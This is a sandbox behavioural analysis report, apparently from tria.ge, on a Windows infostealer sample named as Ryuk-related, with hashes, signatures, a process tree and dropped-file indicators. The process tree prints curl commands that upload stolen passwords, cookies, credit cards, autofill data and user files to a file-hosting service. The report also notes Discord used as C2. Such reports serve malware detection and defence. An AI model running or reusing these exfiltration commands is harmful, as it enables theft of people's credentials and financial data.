Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
130s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
05/06/2024, 08:55
Static task
static1
Behavioral task
behavioral1
Sample
2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe
Resource
win10v2004-20240508-en
General
-
Target
2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe
-
Size
21.4MB
-
MD5
3e9a614792be8aa430af223b03ea38be
-
SHA1
7f5e5fdefc0b649f96650bc58c7ed7523a86f6b5
-
SHA256
94570010902d816cf8b2be7294bcb0bb594088e4ffc067845c58c0b54d0f9159
-
SHA512
6633210c7c21ab3adce96c57cf41bb4f99944e4409f4387e5057a52ade9aa06c86cacb27ada76c7c2160aaca31e50a26b150645c6194d3e898d8efdf34effb46
-
SSDEEP
393216:4zWJNLzg4F3wg0A6EMevQDnvdS6k2z3/fS/K96bOzHCFjvaLIAxvrfw3JgJvS:46XPgRrEM7dS6pRziNb8vrYr
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation 2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe -
Executes dropped EXE 2 IoCs
pid Process 364 GMplop.exe 1740 GMplop.exe -
Loads dropped DLL 43 IoCs
pid Process 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe 1740 GMplop.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 34 IoCs
flow ioc 64 discord.com 67 discord.com 70 discord.com 16 discord.com 33 discord.com 58 discord.com 35 discord.com 72 discord.com 84 discord.com 86 discord.com 60 discord.com 61 discord.com 68 discord.com 66 discord.com 83 discord.com 85 discord.com 87 discord.com 15 discord.com 63 discord.com 65 discord.com 73 discord.com 40 discord.com 59 discord.com 69 discord.com 43 discord.com 88 discord.com 32 discord.com 62 discord.com 71 discord.com 82 discord.com 89 discord.com 34 discord.com 39 discord.com 42 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 api.ipify.org 20 api.ipify.org -
Detects Pyinstaller 3 IoCs
resource yara_rule behavioral2/files/0x0009000000022f51-12.dat pyinstaller behavioral2/files/0x0009000000022f51-11.dat pyinstaller behavioral2/files/0x0009000000022f51-136.dat pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 1 IoCs
pid Process 1736 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeSecurityPrivilege 2236 2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe Token: SeRestorePrivilege 2236 2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe Token: SeDebugPrivilege 1736 taskkill.exe -
Suspicious use of WriteProcessMemory 50 IoCs
description pid Process procid_target PID 2236 wrote to memory of 364 2236 2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe 83 PID 2236 wrote to memory of 364 2236 2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe 83 PID 364 wrote to memory of 1740 364 GMplop.exe 86 PID 364 wrote to memory of 1740 364 GMplop.exe 86 PID 1740 wrote to memory of 4436 1740 GMplop.exe 89 PID 1740 wrote to memory of 4436 1740 GMplop.exe 89 PID 1740 wrote to memory of 2468 1740 GMplop.exe 91 PID 1740 wrote to memory of 2468 1740 GMplop.exe 91 PID 2468 wrote to memory of 1736 2468 cmd.exe 93 PID 2468 wrote to memory of 1736 2468 cmd.exe 93 PID 1740 wrote to memory of 3864 1740 GMplop.exe 95 PID 1740 wrote to memory of 3864 1740 GMplop.exe 95 PID 3864 wrote to memory of 912 3864 cmd.exe 97 PID 3864 wrote to memory of 912 3864 cmd.exe 97 PID 1740 wrote to memory of 1744 1740 GMplop.exe 103 PID 1740 wrote to memory of 1744 1740 GMplop.exe 103 PID 1744 wrote to memory of 748 1744 cmd.exe 105 PID 1744 wrote to memory of 748 1744 cmd.exe 105 PID 1740 wrote to memory of 220 1740 GMplop.exe 107 PID 1740 wrote to memory of 220 1740 GMplop.exe 107 PID 220 wrote to memory of 3636 220 cmd.exe 109 PID 220 wrote to memory of 3636 220 cmd.exe 109 PID 1740 wrote to memory of 3932 1740 GMplop.exe 110 PID 1740 wrote to memory of 3932 1740 GMplop.exe 110 PID 3932 wrote to memory of 2668 3932 cmd.exe 112 PID 3932 wrote to memory of 2668 3932 cmd.exe 112 PID 1740 wrote to memory of 3036 1740 GMplop.exe 113 PID 1740 wrote to memory of 3036 1740 GMplop.exe 113 PID 3036 wrote to memory of 1948 3036 cmd.exe 115 PID 3036 wrote to memory of 1948 3036 cmd.exe 115 PID 1740 wrote to memory of 4736 1740 GMplop.exe 116 PID 1740 wrote to memory of 4736 1740 GMplop.exe 116 PID 4736 wrote to memory of 1388 4736 cmd.exe 118 PID 4736 wrote to memory of 1388 4736 cmd.exe 118 PID 1740 wrote to memory of 4764 1740 GMplop.exe 120 PID 1740 wrote to memory of 4764 1740 GMplop.exe 120 PID 4764 wrote to memory of 4876 4764 cmd.exe 122 PID 4764 wrote to memory of 4876 4764 cmd.exe 122 PID 1740 wrote to memory of 1148 1740 GMplop.exe 123 PID 1740 wrote to memory of 1148 1740 GMplop.exe 123 PID 1740 wrote to memory of 2484 1740 GMplop.exe 124 PID 1740 wrote to memory of 2484 1740 GMplop.exe 124 PID 1148 wrote to memory of 2120 1148 cmd.exe 127 PID 1148 wrote to memory of 2120 1148 cmd.exe 127 PID 2484 wrote to memory of 3488 2484 cmd.exe 128 PID 2484 wrote to memory of 3488 2484 cmd.exe 128 PID 1740 wrote to memory of 2760 1740 GMplop.exe 131 PID 1740 wrote to memory of 2760 1740 GMplop.exe 131 PID 2760 wrote to memory of 5072 2760 cmd.exe 133 PID 2760 wrote to memory of 5072 2760 cmd.exe 133
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-05_3e9a614792be8aa430af223b03ea38be_cova_ryuk.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Users\Public\Downloads\GMplop.exe"C:\Users\Public\Downloads\GMplop.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Users\Public\Downloads\GMplop.exe"C:\Users\Public\Downloads\GMplop.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵PID:4436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"4⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokpasswords.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:3864 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokpasswords.txt" https://store1.gofile.io/uploadFile5⤵PID:912
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokcookies.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokcookies.txt" https://store1.gofile.io/uploadFile5⤵PID:748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokcreditcards.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokcreditcards.txt" https://store1.gofile.io/uploadFile5⤵PID:3636
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokautofill.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokautofill.txt" https://store1.gofile.io/uploadFile5⤵PID:2668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokhistory.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokhistory.txt" https://store1.gofile.io/uploadFile5⤵PID:1948
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokparsedcookies.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokparsedcookies.txt" https://store1.gofile.io/uploadFile5⤵PID:1388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokbookmarks.txt" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\havokbookmarks.txt" https://store1.gofile.io/uploadFile5⤵PID:4876
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/CompareSave.midi" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/CompareSave.midi" https://store1.gofile.io/uploadFile5⤵PID:2120
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/EnterBackup.tif" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Downloads/EnterBackup.tif" https://store1.gofile.io/uploadFile5⤵PID:3488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/UnprotectPing.csv" https://store1.gofile.io/uploadFile"4⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Downloads/UnprotectPing.csv" https://store1.gofile.io/uploadFile5⤵PID:5072
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
81KB
MD5a4b636201605067b676cc43784ae5570
SHA1e9f49d0fc75f25743d04ce23c496eb5f89e72a9a
SHA256f178e29921c04fb68cc08b1e5d1181e5df8ce1de38a968778e27990f4a69973c
SHA51202096bc36c7a9ecfa1712fe738b5ef8b78c6964e0e363136166657c153727b870a6a44c1e1ec9b81289d1aa0af9c85f1a37b95b667103edc2d3916280b6a9488
-
Filesize
119KB
MD587596db63925dbfe4d5f0f36394d7ab0
SHA1ad1dd48bbc078fe0a2354c28cb33f92a7e64907e
SHA25692d7954d9099762d81c1ae2836c11b6ba58c1883fde8eeefe387cc93f2f6afb4
SHA512e6d63e6fe1c3bd79f1e39cb09b6f56589f0ee80fd4f4638002fe026752bfa65457982adbef13150fa2f36e68771262d9378971023e07a75d710026ed37e83d7b
-
Filesize
154KB
MD5b5fbc034ad7c70a2ad1eb34d08b36cf8
SHA14efe3f21be36095673d949cceac928e11522b29c
SHA25680a6ebe46f43ffa93bbdbfc83e67d6f44a44055de1439b06e4dd2983cb243df6
SHA512e7185da748502b645030c96d3345d75814ba5fd95a997c2d1c923d981c44d5b90db64faf77ddbbdc805769af1bec37daf0ecee0930a248b67a1c2d92b59c250c
-
Filesize
12KB
MD5f5625259b91429bb48b24c743d045637
SHA151b6f321e944598aec0b3d580067ec406d460c7b
SHA25639be1d39db5b41a1000d400d929f6858f1eb3e75a851bcbd5110fe41e8e39ae5
SHA512de6f6790b6b9f95c1947efb1d6ea844e55d286233bea1dcafa3d457be4773acaf262f4507fa5550544b6ef7806aa33428cd95bd7e43bd4ae93a7a4f98a8fbbd6
-
Filesize
11KB
MD538d6b73a450e7f77b17405ca9d726c76
SHA11b87e5a35db0413e6894fc8c403159abb0dcef88
SHA256429eb73cc17924f0068222c7210806daf5dc96df132c347f63dc4165a51a2c62
SHA51291045478b3572712d247855ec91cfdf04667bd458730479d4f616a5ce0ccec7ea82a00f429fd50b23b8528bbeb7b67ab269fc5cc39337c6c1e17ba7ce1ecdfc1
-
Filesize
11KB
MD5a53bb2f07886452711c20f17aa5ae131
SHA12e05c242ee8b68eca7893fba5e02158fae46c2c7
SHA25659a867dc60b9ef40da738406b7cccd1c8e4be34752f59c3f5c7a60c3c34b6bcc
SHA5122ca8ad8e58c01f589e32ffaf43477f09a14ced00c5f5330fdf017e91b0083414f1d2fe251ee7e8dd73bc9629a72a6e2205edbfc58f314f97343708c35c4cf6c4
-
Filesize
11KB
MD5ab810b5ed6a091a174196d39af3eb40c
SHA131f175b456ab5a56a0272e984d04f3062cf05d25
SHA2564ba34ee15d266f65420f9d91bac19db401c9edf97a2f9bde69e4ce17c201ab67
SHA5126669764529eeefd224d53feac584fd9e2c0473a0d3a6f8990b2be49aaeee04c44a23b3ca6ba12e65a8d7f4aeb7292a551bee7ea20e5c1c6efa5ea5607384ccab
-
Filesize
15KB
MD5869c7061d625fec5859dcea23c812a0a
SHA1670a17ebde8e819331bd8274a91021c5c76a04ba
SHA2562087318c9edbae60d27b54dd5a5756fe5b1851332fb4dcd9efdc360dfeb08d12
SHA512edff28467275d48b6e9baeec98679f91f7920cc1de376009447a812f69b19093f2fd8ca03cccbdc41b7f5ae7509c2cd89e34f33bc0df542d74e025e773951716
-
Filesize
11KB
MD51f72ba20e6771fe77dd27a3007801d37
SHA1db0eb1b03f742ca62eeebca6b839fdb51f98a14f
SHA2560ae3ee32f44aaed5389cc36d337d57d0203224fc6808c8a331a12ec4955bb2f4
SHA51213e802aef851b59e609bf1dbd3738273ef6021c663c33b61e353b489e7ba2e3d3e61838e6c316fbf8a325fce5d580223cf6a9e61e36cdca90f138cfd7200bb27
-
Filesize
11KB
MD5c3408e38a69dc84d104ce34abf2dfe5b
SHA18c01bd146cfd7895769e3862822edb838219edab
SHA2560bf0f70bd2b599ed0d6c137ce48cf4c419d15ee171f5faeac164e3b853818453
SHA512aa47871bc6ebf02de3fe1e1a4001870525875b4f9d4571561933ba90756c17107ddf4d00fa70a42e0ae9054c8a2a76d11f44b683d92ffd773cab6cdc388e9b99
-
Filesize
11KB
MD5f4e6ecd99fe8b3abd7c5b3e3868d8ea2
SHA1609ee75d61966c6e8c2830065fba09ebebd1eef3
SHA256fbe41a27837b8be026526ad2a6a47a897dd1c9f9eba639d700f7f563656bd52b
SHA512f0c265a9df9e623f6af47587719da169208619b4cbf01f081f938746cba6b1fd0ab6c41ee9d3a05fa9f67d11f60d7a65d3dd4d5ad3dd3a38ba869c2782b15202
-
Filesize
12KB
MD5a0c0c0ff40c9ed12b1ecacadcb57569a
SHA187ed14454c1cf8272c38199d48dfa81e267bc12f
SHA256c0f771a24e7f6eda6e65d079f7e99c57b026955657a00962bcd5ff1d43b14dd0
SHA512122e0345177fd4ac2fe4dd6d46016815694b06c55d27d5a3b8a5cabd5235e1d5fc67e801618c26b5f4c0657037020dac84a43fcedbc5ba22f3d95b231aa4e7b3
-
Filesize
11KB
MD541d96e924dea712571321ad0a8549922
SHA129214a2408d0222dae840e5cdba25f5ba446c118
SHA25647abfb801bcbd349331532ba9d3e4c08489f27661de1cb08ccaf5aca0fc80726
SHA512cd0de3596cb40a256fa1893621e4a28cc83c0216c9c442e0802dd0b271ee9b61c810f9fd526bd7ab1df5119e62e2236941e3a7b984927fba305777d35c30ba5a
-
Filesize
12KB
MD5aa47023ceed41432662038fd2cc93a71
SHA17728fb91d970ed4a43bea77684445ee50d08cc89
SHA25639635c850db76508db160a208738d30a55c4d6ee3de239cc2ddc7e18264a54a4
SHA512c9d1ef744f5c3955011a5fea216f9c4eca53c56bf5d9940c266e621f3e101dc61e93c4b153a9276ef8b18e7b2cadb111ea7f06e7ce691a4eaef9258d463e86be
-
Filesize
14KB
MD575ef38b27be5fa07dc07ca44792edcc3
SHA17392603b8c75a57857e5b5773f2079cb9da90ee9
SHA256659f3321f272166f0b079775df0abdaf1bc482d1bcc66f42cae08fde446eb81a
SHA51278b485583269b3721a89d4630d746a1d9d0488e73f58081c7bdc21948abf830263e6c77d9f31a8ad84ecb5ff02b0922cb39f3824ccd0e0ed026a5e343a8427bc
-
Filesize
12KB
MD5960c4def6bdd1764aeb312f4e5bfdde0
SHA13f5460bd2b82fbeeddd1261b7ae6fa1c3907b83a
SHA256fab3891780c7f7bac530b4b668fce31a205fa556eaab3c6516249e84bba7c3dc
SHA5122c020a2ffba7ad65d3399dcc0032872d876a3da9b2c51e7281d2445881a0f3d95de22b6706c95e6a81ba5b47e191877b7063d0ac24d09cab41354babda64d2af
-
Filesize
11KB
MD5d6297cfe7187850db6439e13003203c6
SHA19455184ad49e5c277b06d1af97600b6b5fa1f638
SHA256c8c2e69fb9b3f0956c442c8fbafd2da64b9a32814338104c361e8b66d06d36a2
SHA5121954299fdbc76c24ca127417a3f7e826aba9b4c489fa5640df93cb9aff53be0389e0575b2de6adc16591e82fbc0c51c617faf8cc61d3940d21c439515d1033b5
-
Filesize
12KB
MD5e1239fa9b8909dccde2c246e8097aebf
SHA13d6510e0d80ed5df227cac7b0e9d703898303bd6
SHA256b74fc81aeed00ece41cd995b24ae18a32f4e224037165f0124685288c8fae0bd
SHA51275c629d08d11ecddc97b20ef8a693a545d58a0f550320d15d014b7bcec3e59e981c990a0d10654f4e6398033415881e175dfa37025c1fb20ee7b8d100e04cfd7
-
Filesize
13KB
MD573c94e37721ce6d642ec6870f92035d8
SHA1be06eff7ca92231f5f1112dd90b529df39c48966
SHA2565456b4c4e0045276e2ad5af8f3f29cd978c4287c2528b491935dd879e13fdaf9
SHA51282f39075ad989d843285bb5d885129b7d9489b2b0102e5b6824dcee4929c0218cfc4c4bc336be7c210498d4409843faaa63f0cd7b4b6f3611eb939436c365e3a
-
Filesize
12KB
MD5a55abf3646704420e48c8e29ccde5f7c
SHA1c2ac5452adbc8d565ad2bc9ec0724a08b449c2d8
SHA256c2f296dd8372681c37541b0ca8161b4621037d5318b7b8c5346cf7b8a6e22c3e
SHA512c8eb3ec20821ae4403d48bb5dbf2237428016f23744f7982993a844c53ae89d06f86e03ab801e5aee441a83a82a7c591c0de6a7d586ea1f8c20a2426fced86f0
-
Filesize
11KB
MD5053e6daa285f2e36413e5b33c6307c0c
SHA1e0ec3b433b7dfe1b30f5e28500d244e455ab582b
SHA25639942416fdc139d309e45a73835317675f5b9ab00a05ac7e3007bb846292e8c8
SHA51204077de344584dd42ba8c250aa0d5d1dc5c34116bb57b7d236b6048bd8b35c60771051744482d4f23196de75638caf436aee5d3b781927911809e4f33b02031f
-
Filesize
12KB
MD5462e7163064c970737e83521ae489a42
SHA1969727049ef84f1b45de23c696b592ea8b1f8774
SHA256fe7081c825cd49c91d81b466f2607a8bb21f376b4fdb76e1d21251565182d824
SHA5120951a224ce3ff448296cc3fc99a0c98b7e2a04602df88d782ea7038da3c553444a549385d707b239f192dbef23e659b814b302df4d6a5503f64af3b9f64107db
-
Filesize
11KB
MD5ae08fb2dccaf878e33fe1e473adfac97
SHA1edaee07aad10f6518d3529c71c6047e38f205bab
SHA256f91e905479a56183c7fbb12b215da366c601151adbcdb4cd09eb4f42d691c4c3
SHA512650929e7fa8281e37d1e5d643a926e5cac56dfa8a3f9c280f90b26992cbd4803998cf568138de43bd2293e878617f6bb882f48375316054a1f8ccbf11432220c
-
Filesize
13KB
MD5e87ccfd7f7210adcd5c20255dfe4d39f
SHA19f85557d2b8871b6b1b1d5bb378b3a8a9db2ffc2
SHA256e0e38faf83050127ab274fd6ccb94e9e74504006740c5d8c4b191de5f98de3b5
SHA512d77bb8633f78f23a23f7dbe99dff33f1d30d900873dcce2fbeb6e33cb6d4b5ee4fbede6d62e0f97f1002e7704674b69888d79748205b281969adc8a5c444aed4
-
Filesize
12KB
MD587a0961ad7ea1305cbcc34c094c1f913
SHA13c744251e724ae62f937f4561f8e5cdac38d8a8e
SHA256c85f376407bae092cdbba92cc86c715c7535b1366406cfe50916ff3168454db0
SHA512149f62a7ff859e62a1693b7fb3f866da0f750fcc38c27424876f3f17e29fb3650732083ba4fad4649b1df77b5bd437c253ab1b2ebb66740e3f6dc0fb493eca8c
-
Filesize
12KB
MD5217d10571181b7fe4b5cb1a75e308777
SHA12c2dc926bf8c743c712aabeded21765e4be7736c
SHA256d87b2994c283004cd45107cf9b10e6b10838c190654cf2f75e7d4894cbdae853
SHA512c1accfde66810507bf120dbad09d85e496ca71542f4659dddcaeedc7b24347718a8e3f090bd31a9d34f9a587de3cdb13093b2324f7cae641bfd435fb65c0f902
-
Filesize
12KB
MD5e8af200a0127e12445eb8004a969fc1d
SHA1a770fe20e42e2bef641c0591c0e763c1c8ba404d
SHA25664d1ca4ead666023681929d86db26cfd3c70d4b2e521135205a84001d25187db
SHA512a49b1ce5faf98af719e3a02cd1ff2a7ced1afc4fbf7483beab3f65487d79acc604a0db7c6ee21e45366e93f03fb109126ef00716624c159f1c35e4c100853eaf
-
Filesize
11KB
MD50cfe48ae7fa9ec261c30de0ce4203c8f
SHA10a8040a35d90ebbcacaba62430300d6d24c7cacb
SHA256a52dfa3e66d923fdf92c47d7222d56a615d5e4dd13f350a4289eb64189169977
SHA5120d2f08a1949c8f8cfe68ae20d2696b1afc5176ee6f5e6216649b836850ab1ec569905cfc8326f0dfdec67b544abe3010f5816c7fd2d738ae746f04126eb461a1
-
Filesize
12KB
MD5e4ffa031686b939aaf8cf76a0126f313
SHA1610f3c07f5308976f71928734bbe38db39fbaf54
SHA2563af73012379203c1cb0eab96330e59bc3e8c488601c7b7f48fbe6d685de9523b
SHA512b34a4f6d3063da2bddfb9050b6fa9cd69d8ad5b86fdfbbbad630adc490f56487814d02d148784153718e82e200acca7e518905bdc17fac31d26ff90ec853819b
-
Filesize
15KB
MD5d27946c6186aeb3adb2b9b2ac09ea797
SHA1fc4da67f07a94343bda8f97150843c76c308695b
SHA2566d2c0ff2056eefa3a74856e4c34e7e868c088c7c548f05b939912efeb8191751
SHA512630c7121bf4b99919cfca7297e0312759ccad26fe5ca826ad1309f31933b6a1f687d493e22b843f9718752794fdf3b6171264ae3eccdd52c937ef02296e16e82
-
Filesize
12KB
MD513645e85d6d9cf9b7f4b18566d748d7a
SHA1806a04d85e56044a33935ff15168dadbd123a565
SHA256130c9e523122d9ce605f5c5839421f32e17b5473793de7cb7d824b763e41a789
SHA5127886a9233bffb9fc5c76cec53195fc7ff4644431ab639f36ae05a4cc6cf14ab94b7b23dc982856321db9412e538d188b31eb9fc548e9900bbaaf1dfb53d98a09
-
Filesize
13KB
MD53a8e2d90e4300d0337650cea494ae3f0
SHA1008a0b56bce9640a4cf2cbf158a063fbb01f97ba
SHA25610bffbe759fb400537db8b68b015829c6fed91823497783413deae79ae1741b9
SHA512c32bff571af91d09c2ece43c536610dba6846782e88c3474068c895aeb681407f9d3d2ead9b97351eb0de774e3069b916a287651261f18f0b708d4e8433e0953
-
Filesize
12KB
MD58a04bd9fc9cbd96d93030eb974abfc6b
SHA1f7145fd6c8c4313406d64492a962e963ca1ea8c9
SHA2565911c9d1d28202721e6ca6dd394ffc5e03d49dfa161ea290c3cb2778d6449f0f
SHA5123187e084a64a932a57b1ce5b0080186dd52755f2df0200d7834db13a8a962ee82452200290cfee740c1935312429c300b94aa02cc8961f7f9e495d566516e844
-
Filesize
12KB
MD5995b8129957cde9563cee58f0ce3c846
SHA106e4ab894b8fa6c872438870fb8bd19dfdc12505
SHA2567dc931f1a2dc7b6e7bd6e7ada99d7fadc2a65ebf8c8ea68f607a3917ac7b4d35
SHA5123c6f8e126b92befcaeff64ee7b9cda7e99ee140bc276ad25529191659d3c5e4c638334d4cc2c2fb495c807e1f09c3867b57a7e6bf7a91782c1c7e7b8b5b1b3d9
-
Filesize
20KB
MD505461408d476053d59af729cebd88f80
SHA1b8182cab7ec144447dd10cbb2488961384b1118b
SHA256a2c8d0513cad34df6209356aeae25b91cf74a2b4f79938788f56b93ebce687d9
SHA512c2c32225abb0eb2ea0da1fa38a31ef2874e8f8ddca35be8d4298f5d995ee3275cf9463e9f76e10eae67f89713e5929a653af21140cee5c2a96503e9d95333a9c
-
Filesize
12KB
MD54b7d7bfdc40b2d819a8b80f20791af6a
SHA15ddd1720d1c748f5d7b2ae235bce10af1785e6a5
SHA256eee66f709ea126e292019101c571a008ffca99d13e3c0537bb52223d70be2ef3
SHA512357c7c345bda8750ffe206e5af0a0985b56747be957b452030f17893e3346daf422080f1215d3a1eb7c8b2ef97a4472dcf89464080c92c4e874524c6f0a260db
-
Filesize
16KB
MD51495fb3efbd22f589f954fec982dc181
SHA14337608a36318f624268a2888b2b1be9f5162bc6
SHA256bb3edf0ecdf1b700f1d3b5a3f089f28b4433d9701d714ff438b936924e4f8526
SHA51245694b2d4e446cadcb19b3fdcb303d5c661165ed93fd0869144d699061cce94d358cd5f56bd5decde33d886ba23bf958704c87e07ae2ea3af53034c2ad4eeef9
-
Filesize
17KB
MD550c4a43be99c732cd9265bcbbcd2f6a2
SHA1190931dae304c2fcb63394eba226e8c100d7b5fd
SHA256ae6c2e946b4dcdf528064526b5a2280ee5fa5228f7bb6271c234422e2b0e96dd
SHA5122b134f0e6c94e476f808d7ed5f6b5ded76f32ac45491640b2754859265b6869832e09cdbe27774de88aab966fae6f22219cc6b4afaa33a911b3ce42b42dbe75a
-
Filesize
17KB
MD59b3f816d29b5304388e21dd99bebaa7d
SHA11b3f2d34c71f1877630376462dc638085584f41b
SHA25607a5cba122b1100a1b882c44ac5ffdd8fb03604964addf65d730948deaa831c5
SHA512687f692f188dad50cd6b90ac67ed15b67d61025b79d82dff21ff00a45ddc5118f1e0cdc9c4d8e15e6634ed973490718871c5b4cc3047752dede5ebdabf0b3c89
-
Filesize
14KB
MD52774d3550b93ba9cbca42d3b6bb874bd
SHA13fa1fc7d8504199d0f214ccef2fcff69b920040f
SHA25690017928a8a1559745c6790bc40bb6ebc19c5f8cdd130bac9332c769bc280c64
SHA512709f16605a2014db54d00d5c7a3ef67db12439fce3ab555ea524115aae5ba5bf2d66b948e46a01e8ddbe3ac6a30c356e1042653ed78a1151366c37bfbaf7b4c0
-
Filesize
12KB
MD5969daa50c4ef3bd2a8c1d9b2c452f541
SHA13d36a074c3171ad9a3cc4ad22e0e820db6db71b4
SHA256b1cff7f4aab3303aec4e95ee7e3c7906c5e4f6062a199c83241e9681c5fcaa74
SHA51241b5a23ea78b056f27bfdaf67a0de633de408f458554f747b3dd3fb8d6c33419c493c9ba257475a0ca45180fdf57af3d00e6a4fdcd701d6ed36ee3d473e9bdac
-
Filesize
859KB
MD58b8e903bc62487319b1ada4ddd8d2617
SHA11e3f89d636f8765b51f55a163f0becefbb8b6ddf
SHA256944f8daaefe91594c4d47694a5a7e3ba376590be004f655313fe7c6808b5d2fa
